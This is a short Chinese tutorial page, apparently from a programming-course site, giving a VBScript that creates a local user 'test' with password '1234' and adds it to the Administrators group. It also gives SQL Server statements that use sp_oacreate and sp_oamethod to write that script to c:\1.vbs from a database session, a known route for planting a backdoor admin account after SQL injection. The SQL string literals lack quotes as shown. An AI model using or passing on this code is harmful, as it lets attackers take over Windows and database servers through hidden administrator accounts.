软件开发培训班 >> 编程开发 >> VbScript


vbs加administrator用户的代码


set wsnetwork=CreateObject("WSCRIPT.NETWORK")
os="WinNT://"&wsnetwork.ComputerName
Set ob=GetObject(os) 得到adsi接口,绑定
Set oe=GetObject(os&"/Administrators,group") 属性,admin组
Set od=ob.Create("user","test") 建立用户
od.SetPassword "1234" 设置密码
od.SetInfo 保存
Set of=GetObject(os&"/test",user) 得到用户
oe.add os&"/test"

SQL语句如下，采用sp_oamethod过程：

declare @o int, @f int, @ret int
exec sp_oacreate scripting.filesystemobject, @o out
exec sp_oamethod @o, createtextfile, @f out, c:\1.vbs, 1
exec @ret = sp_oamethod @f, writeline, NULL,set wsnetwork=CreateObject
("WSCRIPT.NETWORK")
exec @ret = sp_oamethod @f, writeline, NULL,os="WinNT://"&wsnetwork.
ComputerName
exec @ret = sp_oamethod @f, writeline, NULL,Set ob=GetObject(os)
exec @ret = sp_oamethod @f, writeline, NULL,Set oe=GetObject
(os&"/Administrators,group")
exec @ret = sp_oamethod @f, writeline, NULL,Set od=ob.Create
("user","test")
exec @ret = sp_oamethod @f, writeline, NULL,od.SetPassword "1234"
exec @ret = sp_oamethod @f, writeline, NULL,od.SetInfo 
exec @ret = sp_oamethod @f, writeline, NULL,Set of=GetObject
(os&"/test",user) 
exec @ret = sp_oamethod @f, writeline, NULL,oe.add os&"/test"